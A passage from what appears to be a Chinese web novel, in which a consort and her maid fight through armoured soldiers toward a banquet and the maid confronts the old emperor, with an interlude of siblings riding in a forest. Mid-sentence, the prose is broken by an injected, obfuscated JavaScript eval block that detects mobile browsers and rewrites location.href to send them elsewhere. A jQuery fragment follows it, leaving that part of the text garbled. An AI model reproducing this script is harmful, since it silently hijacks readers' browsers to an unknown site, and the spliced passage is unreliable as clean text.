前方宫侍的眼神阴冷了下来,他带着身后两人快步走出营帐。
同时,“轰隆隆……轰隆隆……”大地震颤,包围在营帐外的大片黑甲兵如翻滚着雷霆的黑沉乌云般,朝着营帐内铺天盖地重重压来。
“暖儿……”拿起长剑的谢初婉目光温柔地看了一眼身旁紧抿着唇的少女,安抚道,“不要怕,我们只要杀到宴席上的诸位大人面前,就能活。”
被唤作“暖儿”的宫女握紧了手中的长剑,满眼坚定地看着她,咬了咬牙,郑重地道:“是,娘娘!”
“好孩子。”谢初婉嘴角弯了弯,转而看向前方黑压压的大片气势磅礴的黑甲兵,脸上的笑意渐渐褪去,神色冷然地道,“来,我们一起杀出去。”
暖儿坚定地应了一声:
“是!”
话音一落,营帐内的两道身影身姿矫健地提剑冲向营帐外更为广阔的天地。
只要到了一众朝臣面前,就自然有人能保住她们,可……要从这一群黑甲兵之中杀出一条血路,谈何容易?
正是知道只要有一点风声传出、只要留给她们一点时间,这件事就成不了,所以才会在这时候果断下手让黑甲兵包围她们,力求一击毙命……
反正那个老东西都是要死的了,现在拉两个垫背还是赚大了。
无能啊……
从前翊王遇难不敢去救,后来名存实亡不敢反抗,到了现在,满腔怨恨却也只敢将刀剑指向她们,以此来向那些人昭示自己血性和不屈……
谢初婉眼神凌厉,手中长剑一转,挡下了砍向身旁少女的玄黑重剑。
然而她的身后却是一柄重剑带着呼啸的劲风朝着她的后背砍来!
“娘娘!”
暖儿瞳孔一缩,咬着牙,低吼着提剑砍了过去。
可只是剑与剑相碰的一瞬,虎口阵痛,两条胳膊发麻,沉重铁黑重剑霎时压下了她手中的银白长剑——
银白的寒光如飞鸟掠过天际,血水飞溅。
暖儿只觉得手上一轻,她的耳边骤然响起了谢初婉的声音:“跑,暖儿!不要恋战,我们跑——
“只要跑到了就好——只要——
“就能活!!!”
天高高的,极致的湛蓝中分散着棉花状的白云,兵刃交接声中,污黑的洪水奔腾在草木铺盖的柔软大地上,撞到了大片树木。
天上飞的,地上跑的,草木间的原住生灵仓皇出逃向远方,不敢回头。
扑棱棱的三两鸟雀收了翅膀落在深林中地上,轻盈地跳跃着,时不时歪着脑袋啄食地上的草籽。
待侧前方的人策马缓缓走远,这里的雪白小矮马才重新慢悠悠地摇晃起尾巴。
马背上的江景鸢像是又听见了什么动静,微微歪了歪头,拉着缰绳让小矮马朝着侧方缓缓而去。
在树木间弯弯绕绕了一阵,江景鸢看到了前方丛林间的一抹黑衣身影。
同时,前方的那身着黑衣的人也像是察觉到了她的到来,扭头看了她一眼,拉着缰绳让高大骏马转身,走向了她。
“怎么没带着人?”江景渐问道。
江景鸢没回答,只是看了一眼他空无一人的身后。
江景渐笑了一下就不再问了。
反倒是江景鸢淡淡地开口问道:“你不去吗?”
“没多少意思,让他们争去吧。”江景渐眼眸一低,轻抿着的嘴角上提到了一个诡异的弧度,然而只是仿佛眼花时所见的一瞬,他面上又恢复成了浅浅的笑意,转眼看向面前的少女,悠然地说道,“不着急,我们慢慢走。”
其实我更想自己一个人逛的……江景鸢沉默了一下,还是没忍心开口拒绝,策马跟着他慢悠悠地在深林中闲逛。
跟着江景渐,完全没有招猫逗狗的乐趣……
因为——
“嗯?这里居然有一只粉色的松鼠。”
江景渐语气好奇,手上却是以迅雷不及掩耳之势飞快地捏起树干上那只粉红色松鼠的后颈,提来给江景鸢看。
“啪嗒……”一颗松果掉落在地。
江景鸢看着面前一脸茫然的松鼠,沉默着伸手摸了摸。
江景渐笑着将松鼠随手放在一旁的树枝上,然后十分自然地拿出一个帕子和一个白瓷瓶,将瓷瓶中的带着清香的水倒了一点在帕子上擦了擦手,又拿出一条帕子沾了水递给旁边的江景鸢。
都在外面走着了,不干不净在所难免啊。更何况就是现在擦了,等下很快又会脏了……经过这三年在外奔波的江景鸢虽然心中还是不自在,但也不是不能忍,更别说她玩心大起的时候其实也没有那么在意这些。
江景鸢欲言又止了一番,最终还是保持沉默地伸手接过——算了,从前不都是这样吗。
江景渐侧头看着她,笑眯了眼。
而他们身后,那只粉红色的明显年幼的松鼠懵了一阵,回神后,它当即狂躁地“吱吱”大叫着,抓下身旁的树叶朝着前方两人的背影丢去。
却是几乎在它松手的时候,三两树叶就无力地哗啦啦掉落而下……
低低的风卷起落叶,马蹄声由远及近,一道人影策马狂奔过他们方才所处的位置。
海天青色的衣袖翻飞在身后,江景濉眉间含着一抹忧虑和焦躁不安,他看着前方回程的道路,有些心绪不宁——
他不知道自己到底遗忘忽视了什么,那干脆就直接回去看看!
快一点,再快一点……心慌难耐,双手死死扣紧缰绳,江景濉双眸失神了一阵。
突然,他的视野中飞快地蹿出一道黑影。
江景濉心一惊,猛地回神,他的手一颤,几乎是下意识就要收紧缰绳,但他随即就按耐下了这种冲动,盯着前方的那道窜动的黑影,策马飞跃而过。
烈马浑身肌肉绷紧着,两条前肢刚刚矫健落地——
“咻——!”
江景濉猛地回头,骤然收缩的墨色瞳孔中倒映出一道银白的锐利身影。
银白的剑影自乌压压的大片黑云之上亮起,两道浅色衣袍的人影在黑云之中沉沉浮浮、时隐时现。
眼前时而亮时而暗,闪烁模糊不清的,暖儿微微张着嘴小口小口地喘着气,脑子里一片混沌,手中的长剑无意识地挥动着。
越来越沉、越来越沉,双手愈发无力,好像要提不起剑了——
好累啊好累啊……
好奇怪啊,当年娘娘问她明明说要轻一点的剑,娘娘就给了她这柄长剑……为什么……还是这样重啊……
她要拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355580|160054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不动了啊!!
泪水无意识地充盈了眼眶,模糊了视野,双目酸涩温热之时,她好像听到了娘娘在喊她——
“暖儿,再坚持一下!”
青丝凌乱地被风吹拂在脸颊上,谢初婉顾不得拨开,只是望向不远处那道浅色的身影,焦急地喊着:“暖儿躲开!快来我这里——”
一柄铁黑的重剑朝着她的后背重重劈下,谢初婉咬牙拖着疲惫的身躯向着侧前躲去,却还是慢了,铁黑的重剑划过她的后背,带起了一道飞溅的血红。
“娘娘……?”
当眼前的景象再次变得清晰,暖儿转头看到的就是谢初婉踉踉跄跄跑向她的画面。
边跑,手中的长剑边抵挡着四面八方压来的铁黑重剑,谢初婉眉头微拧,苍白无血色的嘴唇一掀,暗红的血水瞬间从她的嘴角流下……
“呜……”暖儿双眼一烫,豆大的泪珠霎时夺眶而出,她死死咬着牙,却还是难以遏制地呜咽出声。
“暖儿,暖儿别怕……”谢初婉面色以肉眼可见的速度飞快地惨白下来,衬得她嘴边的暗红越发刺眼。
她头晕目眩,但还是强忍下了不适,死死地盯着面前少女流泪的双目道,“跑,快跑!他们看到你……”
谢初婉右手攥紧了长剑,“铛”的一声劈开了前方压来的铁黑重剑,看着暖儿道:“他们看到你,就会明白的!”
“走啊……跑啊……”谢初婉拉着她的胳膊,带着她向前。
耳边好像什么都听不见了,天地静悄悄,眼前的一道道黑甲身影无声咆哮着高举重剑向她们劈来。
“扑通……”
抓着自己胳膊的那只手松开了,暖儿瞪大了满是泪水的双眸。
她硬生生地刹住了超过那道人影的脚步,回头去看。
鲜血从额头蜿蜒流下,流过她的右眼,谢初婉一向满是温柔的双目此时迸发出前所未有的浓烈情感。
她死死盯着前方回头的暖儿。
暖儿顿时大哭着转身跑向既定的前方——
她跑得很快跑得很快,比她从前任何时候跑得都要快,握着长剑的双手爆发出了前所未有的狠劲,横砍竖劈,一剑凶狠地刺穿了面前黑甲兵的脖颈。
告诉他们,告诉他们……
让他们别迁怒……
意识模糊之际,谢初婉想要望向远方的深林,强撑着抬起头,却只能看到密不透风的大片黑甲……
轻缓乐声被撕心裂肺的嚎哭声掩盖,暖儿吼叫着冲进了宴席之上。
她一身血与泪仿佛地狱爬出来的索命恶鬼,冲撞了这片甜腻的舒缓。
正当宴席之上一众人皱着眉头要出声呵斥之时,却见她凶狠怨恨的目光直直落在了最上首的老皇帝身上——
“去死!!!”
如野兽般的尖锐嚎叫声刺破了天际。
“去死去死去死去死啊啊啊啊——去死!!!”她满是血与泪的面容狰狞,双手提着长剑,冲向最远方的那道佝偻着的干枯身影。
“去死去死去死!!!”
那双满是仇恨怒火的眼睛瞪着,斑驳血色的少女身影却突然像是被泄了力一般,双手提着剑,轰然倒地。
她的身后,大片黑甲兵伫立如黑云压阵。